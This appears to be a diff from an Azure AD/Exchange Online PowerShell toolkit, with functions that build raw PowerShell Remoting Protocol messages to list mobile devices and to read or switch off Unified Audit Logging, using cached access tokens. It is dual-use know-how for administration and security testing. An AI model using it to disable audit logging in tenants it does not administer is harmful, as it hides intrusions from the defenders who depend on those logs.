$upn = (Read-Accesstoken $AccessToken).upn
|
||||
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
|
||||
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
|
||||
$Oauth=$True
|
||||
}
|
||||
|
||||
# Create a shell
|
||||
$SessionId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
|
||||
if([string]::IsNullOrEmpty($Shell_Id))
|
||||
{
|
||||
# Something went wrong, exit
|
||||
return
|
||||
}
|
||||
|
||||
# Create an arguments message
|
||||
$arguments = @"
|
||||
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-MobileDevice</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST /></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History"/><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="13"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="14"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="15"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
|
||||
"@
|
||||
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
|
||||
|
||||
$commandId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Body = @"
|
||||
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
|
||||
<rsp:Command>Get-MobileDevice</rsp:Command>
|
||||
<rsp:Arguments>$message</rsp:Arguments>
|
||||
</rsp:CommandLine>
|
||||
"@
|
||||
# Create the envelope for Get-MovileDevices -cmdlet
|
||||
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
|
||||
|
||||
$mobileDevices = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
|
||||
|
||||
# Finally remove the shell
|
||||
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
|
||||
|
||||
|
||||
return $MobileDevices
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Get Unified audit log status
|
||||
# Jan 21st 2020
|
||||
function Get-UnifiedAuditLogSettings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets Unified Audit Log settings
|
||||
|
||||
.DESCRIPTION
|
||||
Gets Unified Audit Log settings with Get-AdminAuditLogConfig using Remote Exchange Online PowerShell
|
||||
|
||||
.Example
|
||||
Get-AADIntUnifiedAuditLogSettings -Credentials $Cred
|
||||
|
||||
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
|
||||
------------------------------- -----------------------------
|
||||
true 2021-01-22T09:59:51.0870075Z
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForEXO -SaveToCache
|
||||
PS C:\>Get-AADIntUnifiedAuditLogSettings | Select Unified*
|
||||
|
||||
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
|
||||
------------------------------- -----------------------------
|
||||
true 2021-01-22T09:59:51.0870075Z
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# A fixed runspacel pool ID, used in PSRP messages
|
||||
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
|
||||
|
||||
# Counter for Object IDs
|
||||
$ObjectId=10
|
||||
|
||||
$Oauth=$false
|
||||
|
||||
# If Credentials is null, create the credentials object from AccessToken manually
|
||||
if($Credentials -eq $null)
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
$upn = (Read-Accesstoken $AccessToken).upn
|
||||
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
|
||||
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
|
||||
$Oauth=$True
|
||||
}
|
||||
|
||||
# Create a shell
|
||||
$SessionId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
|
||||
if([string]::IsNullOrEmpty($Shell_Id))
|
||||
{
|
||||
# Something went wrong, exit
|
||||
return
|
||||
}
|
||||
|
||||
# Create an arguments message
|
||||
$arguments = '<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-AdminAuditLogConfig</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST /></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="13"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="14"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="15"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>'
|
||||
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
|
||||
|
||||
$commandId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Body = @"
|
||||
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
|
||||
<rsp:Command>Get-AdminAuditLogConfig</rsp:Command>
|
||||
<rsp:Arguments>$message</rsp:Arguments>
|
||||
</rsp:CommandLine>
|
||||
"@
|
||||
# Create the envelope for Get-AdminAuditLogConfig -cmdlet
|
||||
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
|
||||
|
||||
$settings = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
|
||||
|
||||
|
||||
# Finally remove the shell
|
||||
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
|
||||
|
||||
|
||||
return $settings
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Enable or disable Unified Audit Log
|
||||
# Jan 22nd 2020
|
||||
function Set-UnifiedAuditLogSettings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Enables or disables Unified Audit log
|
||||
|
||||
.DESCRIPTION
|
||||
Enables or disables Unified Audit log Set-AdminAuditLogConfig using Remote Exchange Online PowerShell.
|
||||
It will take hours for the changes to take effect.
|
||||
|
||||
.Example
|
||||
Get-AADIntUnifiedAuditLogSettings -Credentials $Cred
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForEXO -SaveToCache
|
||||
PS C:\>Get-AADIntUnifiedAuditLogSettings | Select Unified*
|
||||
|
||||
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
|
||||
------------------------------- -----------------------------
|
||||
true 2021-01-22T09:59:51.0870075Z
|
||||
|
||||
PS C:\>Set-AADIntUnifiedAuditLogSettings -Enabled false
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Bool]$Enable
|
||||
)
|
||||
Process
|
||||
{
|
||||
# A fixed runspacel pool ID, used in PSRP messages
|
||||
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
|
||||
|
||||
# Counter for Object IDs
|
||||
$ObjectId=10
|
||||
|
||||
$Oauth=$false
|
||||
|
||||
# If Credentials is null, create the credentials object from AccessToken manually
|
||||
if($Credentials -eq $null)
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
$upn = (Read-Accesstoken $AccessToken).upn
|
||||
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
|
||||
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
|
||||
$Oauth=$True
|
||||
}
|
||||
|
||||
# Create a shell
|
||||
$SessionId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
|
||||
if([string]::IsNullOrEmpty($Shell_Id))
|
||||
{
|
||||
# Something went wrong, exit
|
||||
return
|
||||
}
|
||||
|
||||
# Create an arguments message
|
||||
$arguments = @"
|
||||
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Set-AdminAuditLogConfig</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-UnifiedAuditLogIngestionEnabled:</S><B N="V">$($Enable.ToString().ToLower())</B></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="14"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="15"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="16"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
|
||||
"@
|
||||
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
|
||||
|
||||
$commandId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Body = @"
|
||||
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
|
||||
<rsp:Command>Set-AdminAuditLogConfig</rsp:Command>
|
||||
<rsp:Arguments>$message</rsp:Arguments>
|
||||
</rsp:CommandLine>
|
||||
"@
|
||||
# Create the envelope for Get-AdminAuditLogConfig -cmdlet
|
||||
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
|
||||
|
||||
$settings = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
|
||||
|
||||
|
||||
# Finally remove the shell
|
||||
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
|
||||
|
||||
|
||||
return $settings
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+572
@@ -0,0 +1,572 @@
|
||||
# PowerShell Remoting Protocol utils
|
||||
|
||||
# Fragments
|
||||
$const_fragment_start = 0x01
|
||||
$const_fragment_end = 0x02
|
||||
$const_fragment_start_end = 0x03
|
||||
$const_fragment_middle = 0x00
|
||||
$PSRM_message_fragment=@{
|
||||
$const_fragment_start = "Start"
|
||||
$const_fragment_end = "End"
|
||||
$const_fragment_start_end = "Single"
|
||||
$const_fragment_middle = "Middle"
|
||||
}
|
||||
|
||||
# Destinations
|
||||
$const_destination_client = 0x01
|
||||
$const_destination_server = 0x02
|
||||
$PSRM_message_destination=@{
|
||||
$const_destination_client = "Client"
|
||||
$const_destination_server = "Server"
|
||||
}
|
||||
|
||||
# Message types
|
||||
$const_SESSION_CAPABILITY = 0x00010002
|
||||
$const_INIT_RUNSPACEPOOL = 0x00010004
|
||||
$const_PUBLIC_KEY = 0x00010005
|
||||
$const_ENCRYPTED_SESSION_KEY = 0x00010006
|
||||
$const_PUBLIC_KEY_REQUEST = 0x00010007
|
||||
$const_CONNECT_RUNSPACEPOOL = 0x00010008
|
||||
$const_SET_MAX_RUNSPACES = 0x00021002
|
||||
$const_SET_MIN_RUNSPACES = 0x00021003
|
||||
$const_RUNSPACE_AVAILABILITY = 0x00021004
|
||||
$const_RUNSPACEPOOL_STATE = 0x00021005
|
||||
$const_CREATE_PIPELINE = 0x00021006
|
||||
$const_GET_AVAILABLE_RUNSPACES = 0x00021007
|
||||
$const_USER_EVENT = 0x00021008
|
||||
$const_APPLICATION_PRIVATE_DATA = 0x00021009
|
||||
$const_GET_COMMAND_METADATA = 0x0002100A
|
||||
$const_RUNSPACEPOOL_INIT_DATA = 0x0002100B
|
||||
$const_RESET_RUNSPACE_STATE = 0x0002100C
|
||||
$const_RUNSPACEPOOL_HOST_CALL = 0x00021100
|
||||
$const_RUNSPACEPOOL_HOST_RESPONSE=0x00021101
|
||||
$const_PIPELINE_INPUT = 0x00041002
|
||||
$const_END_OF_PIPELINE_INPUT = 0x00041003
|
||||
$const_PIPELINE_OUTPUT = 0x00041004
|
||||
$const_ERROR_RECORD = 0x00041005
|
||||
$const_PIPELINE_STATE = 0x00041006
|
||||
$const_DEBUG_RECORD = 0x00041007
|
||||
$const_VERBOSE_RECORD = 0x00041008
|
||||
$const_WARNING_RECORD = 0x00041009
|
||||
$const_PROGRESS_RECORD = 0x00041010
|
||||
$const_INFORMATION_RECORD = 0x00041011
|
||||
$const_PIPELINE_HOST_CALL = 0x00041100
|
||||
$const_PIPELINE_HOST_RESPONSE = 0x00041101
|
||||
|
||||
$PSRM_message_types=@{
|
||||
$const_SESSION_CAPABILITY = "Session capability"
|
||||
$const_INIT_RUNSPACEPOOL = "Init runspacepool"
|
||||
$const_PUBLIC_KEY = "Public key"
|
||||
$const_ENCRYPTED_SESSION_KEY = "Encrypted session key"
|
||||
$const_PUBLIC_KEY_REQUEST = "Public key request"
|
||||
$const_SET_MAX_RUNSPACES = "Set max runspaces"
|
||||
$const_SET_MIN_RUNSPACES = "Set min runspaces"
|
||||
$const_RUNSPACE_AVAILABILITY = "Runspace availability"
|
||||
$const_APPLICATION_PRIVATE_DATA = "Application private data"
|
||||
$const_GET_COMMAND_METADATA = "Get command metadata"
|
||||
$const_RUNSPACEPOOL_STATE = "Runspool state"
|
||||
$const_CREATE_PIPELINE = "Create pipeline"
|
||||
$const_GET_AVAILABLE_RUNSPACES = "Get available runspaces"
|
||||
$const_USER_EVENT = "User event"
|
||||
$const_RUNSPACEPOOL_HOST_CALL = "Runspacepool host call"
|
||||
$const_RUNSPACEPOOL_HOST_RESPONSE = "Runspacepool host response"
|
||||
$const_PIPELINE_STATE = "Pipeline state"
|
||||
$const_PIPELINE_INPUT = "Pipeline input"
|
||||
$const_END_OF_PIPELINE_INPUT = "End of pipeline input"
|
||||
$const_PIPELINE_OUTPUT = "Pipeline output"
|
||||
$const_PIPELINE_HOST_CALL = "Pipeline host call"
|
||||
$const_PIPELINE_HOST_RESPONSE = "Pipeline host response"
|
||||
$const_ERROR_RECORD = "Error record"
|
||||
$const_DEBUG_RECORD = "Debug record"
|
||||
$const_VERBOSE_RECORD = "Verbose record"
|
||||
$const_WARNING_RECORD = "Warning record"
|
||||
$const_PROGRESS_RECORD = "Progress record"
|
||||
$const_INFORMATION_RECORD = "Informaition record"
|
||||
$const_CONNECT_RUNSPACEPOOL = "Connect runspacepool"
|
||||
$const_RUNSPACEPOOL_INIT_DATA = "Runspacepool init data"
|
||||
$const_RESET_RUNSPACE_STATE = "Reset runspace state"
|
||||
}
|
||||
|
||||
# Runspace status
|
||||
$const_beforeopen = 0x00
|
||||
$const_opening = 0x01
|
||||
$const_opened = 0x02
|
||||
$const_closed = 0x03
|
||||
$const_closing = 0x04
|
||||
$const_broken = 0x05
|
||||
$const_negotiationsent = 0x06
|
||||
$const_negotiationsucceeded = 0x07
|
||||
$const_connecting = 0x08
|
||||
$const_disconnected = 0x09
|
||||
|
||||
# Invocation state
|
||||
$const_Notstarted = 0x00
|
||||
$const_Running = 0x01
|
||||
$const_Stopping = 0x02
|
||||
$const_Stopped = 0x03
|
||||
$const_Completed = 0x04
|
||||
$const_Failed = 0x05
|
||||
$const_Disconnected = 0x06
|
||||
|
||||
# Waiting messages
|
||||
$waiting_messages=@(
|
||||
"Your PC is almost ready..."
|
||||
"We're getting everything ready for you..."
|
||||
"Almost there..."
|
||||
"Back in a moment..."
|
||||
"This might take several minutes..."
|
||||
"It's taking a bit longer than expected, but we'll get there as fast as we can..."
|
||||
"Don't turn off your PC..."
|
||||
"This might take a while..."
|
||||
"This might take a while, I'll tell you when we're ready.."
|
||||
|
||||
)
|
||||
|
||||
# Function returning a random waiting message
|
||||
function Get-WaitingMessage
|
||||
{
|
||||
[int]$msg=Get-Random -Minimum 0 -Maximum ($waiting_messages.Count-1)
|
||||
return $waiting_messages[$msg]
|
||||
}
|
||||
|
||||
|
||||
# Parse the PowerShell Remoting Protocol Message
|
||||
function Parse-PSRPMessage
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='Base64',Mandatory=$True)]
|
||||
[String]$Base64Value,
|
||||
|
||||
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
|
||||
[Byte[]]$ByteArray,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$Skip=0
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# If Base64, decode to byte[]
|
||||
if(![String]::IsNullOrEmpty($Base64Value))
|
||||
{
|
||||
Write-Verbose "Decoding message to bytes ($Base64Value)"
|
||||
[byte[]]$ByteArray = [System.Convert]::FromBase64String($Base64Value)
|
||||
}
|
||||
|
||||
$messageLength = $ByteArray.Count
|
||||
|
||||
# Check the length
|
||||
if($messageLength -le 4)
|
||||
{
|
||||
Throw "Message too short"
|
||||
}
|
||||
|
||||
$position = $skip
|
||||
|
||||
$messages=@()
|
||||
|
||||
# There might be more than one message..
|
||||
while($position -lt $messageLength)
|
||||
{
|
||||
# Message attributes
|
||||
$attributes = [ordered]@{}
|
||||
|
||||
$ps_object_id=[byte[]]$ByteArray[($position)..($position+7)]
|
||||
$ps_fragment_id=[byte[]]$ByteArray[($position+8)..($position+15)]
|
||||
$ps_fragment=[int]$ByteArray[($position+16)]
|
||||
$ps_blobLength=[int][System.BitConverter]::ToUInt32([byte[]]$ByteArray[($position+20)..($position+17)],0)
|
||||
$ps_destination = [int]$ByteArray[($position+21)]
|
||||
$ps_messagetype=[int][System.BitConverter]::ToUInt32([byte[]]$ByteArray[($position+25)..($position+28)],0)
|
||||
$ps_rpid=[byte[]]$ByteArray[($position+29)..($position+44)]
|
||||
$ps_pid=[byte[]]$ByteArray[($position+45)..($position+60)]
|
||||
|
||||
$attributes["Object Id"] = [System.BitConverter]::ToString($ps_object_id)
|
||||
$attributes["Fragment Id"] = [System.BitConverter]::ToString($ps_fragment_id)
|
||||
$attributes["Fragment"] = $PSRM_message_fragment[$ps_fragment]
|
||||
$attributes["Data length"] = $ps_blobLength
|
||||
$attributes["Destination"] = $PSRM_message_destination[$ps_destination]
|
||||
$attributes["Message type"] = $PSRM_message_types[$ps_messagetype]
|
||||
$attributes["RPID"] = ([guid]$ps_rpid).ToString()
|
||||
$attributes["PID"] = ([guid]$ps_pid).ToString()
|
||||
|
||||
# Header length is 64 bytes so the actual data is after that
|
||||
$xmlBytes = $ByteArray[($position+64)..($position+$ps_blobLength+20)]
|
||||
$position += $xmlBytes.Count + 64
|
||||
|
||||
# The data is UTF8 text
|
||||
[xml]$xml=[System.Text.Encoding]::UTF8.GetString($xmlBytes)
|
||||
$attributes["Data"]=$xml.OuterXml
|
||||
|
||||
$message = New-Object PSObject -Property $attributes
|
||||
|
||||
Write-Verbose "Found message:"
|
||||
Write-Verbose $message
|
||||
|
||||
$messages += $message
|
||||
}
|
||||
|
||||
|
||||
return $messages
|
||||
}
|
||||
}
|
||||
|
||||
# Creates the PowerShell Remoting Protocol Message
|
||||
function Create-PSRPMessage
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Data,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$MSG_RPID = (New-Guid),
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$MSG_PID = (New-Guid),
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Server','Client')]
|
||||
[String]$Destination = "Server",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("Session_capability","Init_runspacepool","Public_key","Encrypted_session_key","Public_key_request","Set_max_runspaces","Set_min_runspaces","Runspace_availability","Application_private_data","Get_command_metadata","Runspool_state","Create_pipeline","Get_available_runspaces","User_event","Runspacepool_host_call","Runspacepool_host_response","Pipeline_state","Pipeline_input","End_of_pipeline_input","Pipeline_output","Pipeline_host_call","Pipeline_host_response","Error_record","Debug_record","Verbose_record","Warning_record","Progress_record","Informaition_record","Connect_runspacepool","Runspacepool_init_data","Reset_runspace_state")]
|
||||
[String]$Type = "Create_pipeline",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Int]$ObjectId=3
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
Write-Verbose "Creating PowerShell Remote Protocol message: $Destination, $Type"
|
||||
|
||||
$ByteArray = [System.Text.Encoding]::UTF8.getBytes($Data)
|
||||
|
||||
$messageLength = $ByteArray.Count+43 # Add the message header size
|
||||
|
||||
# Init the message
|
||||
$message=@()
|
||||
|
||||
$ps_object_id=[byte[]]@(0,0,0,0,0,0,0,$ObjectId)
|
||||
$ps_fragment_id=[byte[]]@(0,0,0,0,0,0,0,0)
|
||||
$ps_fragment=[byte]$const_fragment_start_end
|
||||
|
||||
$ps_blobLength=[System.BitConverter]::GetBytes([uint32]$messageLength)
|
||||
if($Destination -eq "Server")
|
||||
{
|
||||
$ps_destination = [byte] $const_destination_server
|
||||
}
|
||||
else
|
||||
{
|
||||
$ps_destination = [byte] $const_destination_client
|
||||
}
|
||||
|
||||
$ps_messagetype=$PSRM_message_types.Keys |? { $PSRM_message_types[$_] -eq $Type.Replace("_"," ") }
|
||||
$ps_messagetype=[System.BitConverter]::GetBytes([uint32]$ps_messagetype)
|
||||
|
||||
$ps_rpid=[byte[]]$MSG_RPID.ToByteArray()
|
||||
$ps_pid=[byte[]]$MSG_PID.ToByteArray()
|
||||
|
||||
# Construct the message
|
||||
$message += $ps_object_id # 01-08
|
||||
$message += $ps_fragment_id # 09-16
|
||||
$message += $ps_fragment # 17
|
||||
$message += $ps_blobLength[3..0] # 18-21
|
||||
$message += $ps_destination # 22-25 (continues on the next line)
|
||||
$message += @(0x00, 0x00, 0x00) #
|
||||
$message += $ps_messagetype # 26-29
|
||||
$message += $ps_rpid # 30-45
|
||||
$message += $ps_pid # 46-61
|
||||
$message += $const_bom # 62-64
|
||||
|
||||
$message += $ByteArray
|
||||
|
||||
$b64Message = [System.Convert]::ToBase64String([byte[]]$message)
|
||||
|
||||
Write-Verbose "Message created: $b64Message"
|
||||
|
||||
return $b64Message
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a PSRP Envelope
|
||||
function Create-PSRPEnvelope
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$SessionId=(New-Guid).ToString(),
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Body,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String[]]$Option,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[ValidateSet('Create','Receive','Delete','Command')]
|
||||
[String]$Action,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Shell_Id
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
Write-Verbose "Creating PowerShell Remote Protocol envelope: $action, $body"
|
||||
switch ( $Action )
|
||||
{
|
||||
"Command" { $action_url = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command'}
|
||||
"Create" { $action_url = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Create'}
|
||||
"Receive" { $action_url = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive'}
|
||||
"Delete" { $action_url = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete'}
|
||||
}
|
||||
|
||||
$MessageId = (New-Guid).ToString().ToUpper()
|
||||
$OperationId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
